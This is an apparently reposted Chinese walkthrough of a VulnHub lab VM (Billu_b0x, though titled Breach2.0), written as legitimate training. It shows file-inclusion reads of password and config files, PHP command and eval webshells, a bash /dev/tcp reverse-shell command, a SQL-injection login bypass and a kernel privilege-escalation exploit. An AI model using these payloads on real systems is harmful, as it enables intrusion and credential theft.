渗透测试 | VulnHub-Breach2.0实战 – 作者:Setup

v2-29a2c0fc3c187e2191f0747884d3cc1f_1440

——————   昨日回顾  ——————  

红日安全出品|转载请注明来源

文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!(来源:红日安全)

渗透测试 | VulnHub-Breach1.0实战

0 (1).jpeg

—————— —————— —————

aHR0cHM6Ly9tbWJpei5xbG9nby5jbi9tbWJpel9n

靶机信息

下载链接

https://download.vulnhub.com/billu/Billu_b0x.zip

靶机说明

虚拟机难度中等,使用ubuntu(32位),其他软件包有:

  • PHP

  • apache

  • MySQL

目标

Boot to root:从Web应用程序进入虚拟机,并获得root权限。

运行环境

  • 靶机:使用VMWare打开虚机,网络连接方式设置为net,靶机自动获取IP。

  • 攻击机:同网段下有Windows攻击机,安装有Nmap、Burpsuit、Sqlmap、nc、Python2.7、DirBuster、AWVS、Nessus等渗透工具,kali攻击机,主要用Windows攻击机完成实验。

aHR0cHM6Ly9tbWJpei5xbG9nby5jbi9tbWJpel9n

aHR0cHM6Ly9tbWJpei5xbG9nby5jbi9tbWJpel9n

信息收集

  • ip发现

启动Billu_b0x虚拟机,由于虚机网络设置为net模式,使用Nmap扫描VMware Network Adapter VMnet8网卡的NAT网段C段IP,即可找到虚机IP,命令:

nmap -sP 192.168.64.1/24

image.png

获得靶机ip 192.168.64.161

  • 端口和服务识别

使用nmap扫描1-65535全端口,并做服务识别和深度扫描(加-A参数),扫描结果保存到txt文件,命令:

nmap -p1-65535 -A 192.168.64.161 -oN billu.txt

image.png发现目标主机端口和服务如下:

端口         协议        后端服务

TCP 22      SSH        OpenSSH 5.9p1

TCP 80      HTTP       Apache httpd 2.2.22

进入web首页:发现用户名口令输入框,并提示“Show me your SQLI skills”。

image.png

aHR0cHM6Ly9tbWJpei5xbG9nby5jbi9tbWJpel9n

aHR0cHM6Ly9tbWJpei5xbG9nby5jbi9tbWJpel9n

漏洞挖掘

漏洞挖掘思路:

(1) SQL注入:首页提示注入,想办法注入成功。

(2) 暴破目录:用DirBuster暴破,看是否有新网页,找新漏洞;

(3) 漏洞扫描:暴破的新网页,送进AWVS或APPScan扫漏洞;

(4) 手动挖掘:暴破的新页面,通过Firefox挂burp代理,在burp中观察Request和Response包,手动找漏洞;

(5) 查看每个网页的源码,看是否有提示;。

(6) 如得到用户名,密码,尝试登录ssh,如能连接上,无需反弹shell了。

步骤1:测试首页SQL注入

(1) 在用户名输入框输入admin’ or ‘a’=’a — 密码随意,发现无法注入,出现js弹框Try again:

图片[11]-渗透测试 | VulnHub-Breach2.0实战 – 作者:Setup-安全小百科image.png

(2) 使用sqlmap进行post注入测试,命令:

sqlmap.py -u “http://192.168.64.161” –data “un=admin&ps=admin&login=let%27s+login” –level 3 –dbms mysql

图片[13]-渗透测试 | VulnHub-Breach2.0实战 – 作者:Setup-安全小百科image.png

sqlmap注入检测完成,结果无法注入,目前不知道系统对注入的过滤规则是什么,使用几个sqlmap的tamper测试也未成功。暂时先不fuzz注入,看看暴破目录。

步骤2:windows使用DirBuster暴破目录,同时使用kali Linux的dirb暴破,为得到更多的暴破结果,并减少暴破时间:

得到页面较多,test.php、add.php、in.php、c.php、index.php、show.php等,目录有:uploaded_images,phpmy依次访问:

image.png

image.png

步骤3:利用文件包含漏洞获取php源码、passwd文件

(1) 访问test.php:页面提示file参数为空,需要提供file参数

image.png

测试文件包含:

http://192.168.64.161?file=/etc/passwd 发现无法包含,跳转会首页。

image.png图片[19]-渗透测试 | VulnHub-Breach2.0实战 – 作者:Setup-安全小百科

(2) 在Firefox的Hackbar或者Brupsuit中,将get请求,变更为post请求,文件包含成功,获得passwd文件。

使用hackerbar post数据,可下载passwd文件:

图片[20]-渗透测试 | VulnHub-Breach2.0实战 – 作者:Setup-安全小百科image.png

使用burpsuit中选择Change request method,将get请求转换为post请求,获得passwd文件成功:

图片[22]-渗透测试 | VulnHub-Breach2.0实战 – 作者:Setup-安全小百科image.png(3) 通过同样文件包含的方法,下载add.php、in.php、c.php、index.php、show.php、panel.php等文件,后面可以访问文件的同时,审计文件的源代码。

图片[24]-渗透测试 | VulnHub-Breach2.0实战 – 作者:Setup-安全小百科image.png

(4) 查看passwd文件,发现1个id 1000的账号ica,ssh连接的用户名可以是ica或root:

图片[26]-渗透测试 | VulnHub-Breach2.0实战 – 作者:Setup-安全小百科image.png

步骤4:访问add.php、in.php页面和审计代码

图片[28]-渗透测试 | VulnHub-Breach2.0实战 – 作者:Setup-安全小百科image.pngadd.php是一个上传界面,但是功能无法使用,查看源码文件发现只是个页面,没有后台处理代码。in.php是php info信息。

步骤5:查看c.php源码

这是数据库连接文件,发现mysql连接用户名密码:

用户名:billu

密码:b0x_billu

数据库名:ica_labimage.png

图片[31]-渗透测试 | VulnHub-Breach2.0实战 – 作者:Setup-安全小百科image.png

步骤6:通过得到的mysql密码登录phpmyadmin失败

(1) 通过dirb暴破出/phpmy目录,访问该目录到phpmyadmin登录页面:

image.png

使用mysql密码尝试登录phpmyadmin:可是无法登录。目前得到一个ssh用户是ica,mysql连接账号billu和密码b0x_billu,尝试登录ssh和phpmyadmin都失败。

目前SQL注入绕过没有成功,得到的mysql连接密码无法登录phpmyadmin。

初步推测虚拟机故障:mysql没有正常启动,稍后打算单用户模式进入Ubuntu排查。

步骤7:继续暴破phpmy目录,文件包含phpmyadmin配置文件

(1) phpmyadmin的默认的配置文件是:config.inc.php。需要猜测路径,通过URL猜测路径默认在/var/www/phpmy下面。

(2) 在火狐浏览器的Hackbar或者Burpsuit中,通过文件包含,读取config.inc.php文件,Hackbar的获取方法:image.pngimage.png

在配置文件中发现root密码:roottoor

(3) Burpsuit的获取方法:

图片[36]-渗透测试 | VulnHub-Breach2.0实战 – 作者:Setup-安全小百科image.png步骤8:使用xshell ssh登录root账号,完成实验image.png图片[39]-渗透测试 | VulnHub-Breach2.0实战 – 作者:Setup-安全小百科步骤9:排查mysql故障

至此已经获得root权限,但是之前的phpmyadmin无法登录问题,怀疑mysql故障,root登录后,查看mysql状态为:mysql stop/waiting,推测mysql被之前的高线程目录暴破、扫描导致故障,尝试重启mysql失败,决定重新安装虚拟机。

图片[40]-渗透测试 | VulnHub-Breach2.0实战 – 作者:Setup-安全小百科image.png

虚机重新安装后,ssh登录,查看mysql运行状态正常,但是新虚机的IP变成:192.168.64.162。

图片[42]-渗透测试 | VulnHub-Breach2.0实战 – 作者:Setup-安全小百科image.png步骤10:回到步骤6,通过得到的mysql密码登录phpmyadmin

用户名:billu,密码:b0x_billu,登录成功。image.png

在ica_lab数据库的auth表中,找到web登录的用户名:biLLu,密码:hEx_it。image.png

aHR0cHM6Ly9tbWJpei5xbG9nby5jbi9tbWJpel9naHR0cHM6Ly9tbWJpei5xbG9nby5jbi9tbWJpel9n

获取shell

步骤11:登录index首页,并获得cmd shell和反弹shell

(1) 使用web密码登录首页,大小写必须一样。

图片[48]-渗透测试 | VulnHub-Breach2.0实战 – 作者:Setup-安全小百科image.png

登录后是账号管理界面,账号是加勒比海盗的两位主角船长:杰克·斯帕罗和巴博萨船长。多写一句,本人更喜欢巴博萨船长,一个像敌人一样的海盗朋友,幽默、勇敢、阴险狡诈、霸道野心、老谋深算。

两个账号的头像图片地址,在之前暴破出来:http://192.168.64.162/uploaded_images/

图片[50]-渗透测试 | VulnHub-Breach2.0实战 – 作者:Setup-安全小百科image.png

(2) 点击add user进入添加账号界面,这是一个图片上传,思路是利用图片上传和文件包含获得shell。

查看之前test文件包含获得的panel.php源码,发现panel.php存在本地文件包含漏洞:

图片[52]-渗透测试 | VulnHub-Breach2.0实战 – 作者:Setup-安全小百科image.png

下载一张http://192.168.64.162/uploaded_images/中的图片jack.php,文本编辑器打开,在文件中间或末尾加入一句话cmd命令马<?php system($_GET[‘cmd’]); ?> 将文件上传成功。

图片[54]-渗透测试 | VulnHub-Breach2.0实战 – 作者:Setup-安全小百科image.png

(3) 使用burp执行命令:
post请求url中加入执行命令的参数:POST /panel.php?cmd=cat%20/etc/passwd;ls

post的body中包含cmd.jpg图片马:load=/uploaded_images/cmd.jpg&continue=continue

成功执行命令cat /etc/passwd;ls

图片[56]-渗透测试 | VulnHub-Breach2.0实战 – 作者:Setup-安全小百科image.png

(4) 用bash反弹shell

命令:echo “bash -i >& /dev/tcp/192.168.64.1/4444 0>&1” | bash

需要将命令url编码:

image.png

在post的url中发送命令:

image.png

nc接收反弹shell成功:

图片[60]-渗透测试 | VulnHub-Breach2.0实战 – 作者:Setup-安全小百科image.png

步骤12:找一个可写权限目录,写入菜刀马

文件上传目录uploaded_images为写权限目录,进入该目录,写一个菜刀马:echo ‘<?php eval($_POST[‘123456′]);?>’ >> caidao.php

图片[62]-渗透测试 | VulnHub-Breach2.0实战 – 作者:Setup-安全小百科image.png

菜刀连接成功,方便传文件。

image.pngimage.pngaHR0cHM6Ly9tbWJpei5xbG9nby5jbi9tbWJpel9naHR0cHM6Ly9tbWJpei5xbG9nby5jbi9tbWJpel9n

提升权限

步骤13:查看内核、系统版本,寻找提权exp

(1) 查看系统内核版本,命令uanme -a和cat /etc/issue

图片[68]-渗透测试 | VulnHub-Breach2.0实战 – 作者:Setup-安全小百科image.png

(2) 下载Ubuntu著名的本地提权漏洞exp:

https://www.exploit-db.com/exploits/37292/

图片[70]-渗透测试 | VulnHub-Breach2.0实战 – 作者:Setup-安全小百科image.png

步骤14:编译、提权

(1) 赋予执行权限

chmod 777 37292.c

(2) 编译exp

gcc 37292.c -o exp

(3) 执行exp,提权至root

image.png

aHR0cHM6Ly9tbWJpei5xbG9nby5jbi9tbWJpel9naHR0cHM6Ly9tbWJpei5xbG9nby5jbi9tbWJpel9n

思路总结

其他渗透思路

正常的思路有3条路线可以突破。

思路1:构造注入:从test的文件包含获得index.php源码,源码中可查看到过滤sql的方法,针对性构造sql注入,登录后获取shell再提权。

(1) 审计index.php源码,发现以下过滤规则:

$uname=str_replace(‘\”,”,urldecode($_POST[‘un’]));

$pass=str_replace(‘\”,”,urldecode($_POST[‘ps’]));

str_replace的作用是将字符串\’ 替换为空,因此构造SQL注入登录payload时,必须含有\’字符串,否则会报错。urldecode的作用是将输入解码。

(2) 常见的利用注入登录的payload是’ or 1=1 — 修改这个在最后增加\’,str_replace会将这个\’替换为空。

使用php在线调试工具,测试如下:

图片[75]-渗透测试 | VulnHub-Breach2.0实战 – 作者:Setup-安全小百科image.png

(3) 注入成功,payload是’ or 1=1 — \’

图片[77]-渗透测试 | VulnHub-Breach2.0实战 – 作者:Setup-安全小百科image.pngimage.png

后面获取shell方法和上面实验相同。

思路2:暴破出phpmyadmin,文件包含从c.php获得mysql密码,登录phpmyadmin,再获取shell。

思路3:文件包含所有有权限查看的配置文件,从phpmyadmin配置文件获得root密码,然后ssh登录。该过程尽管mysql故障,也可以完成。

踩到的坑

(1) mysql被高线程目录暴破和注入宕机:导致phpmyadmin有正确密码但无法登录,耗费较长时间。这是意外故障。因为之前的2个工具同时目录暴破、sqlmap注入等线程过高,导致mysql死了。

(2) test.php文件包含漏洞利用,get不行,改为post试试。包含成功后,要把各个页面的源代码拿下来审计。

(3) index.php的SQL注入花费不少时间,后来发现,即使不用sql注入,也有其他道路可以完成,通过phpmyadmin登录,绕过了注入。

(4) panel.php的文件包含漏洞,如果不认真关注源码,难以发现。使用test.php的文件包含,没能触发shell利用。

(5) 文件上传+文件包含拿shell是靶机常用的方式,遇到两个漏洞,可以熟练拿shell。

(6) 提权方法可以多关注主要的配置文件、数据库连接文件、用户的文件;也可以利用Ubuntu已知漏洞本地提权。

aHR0cHM6Ly9tbWJpei5xbG9nby5jbi9tbWJpel9n

banner.jpg

海量安全课程   点击以下链接   即可观看 

http://qiyuanxuetang.net/courses/

来源:freebuf.com 2020-03-20 16:16:31 by: Setup

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论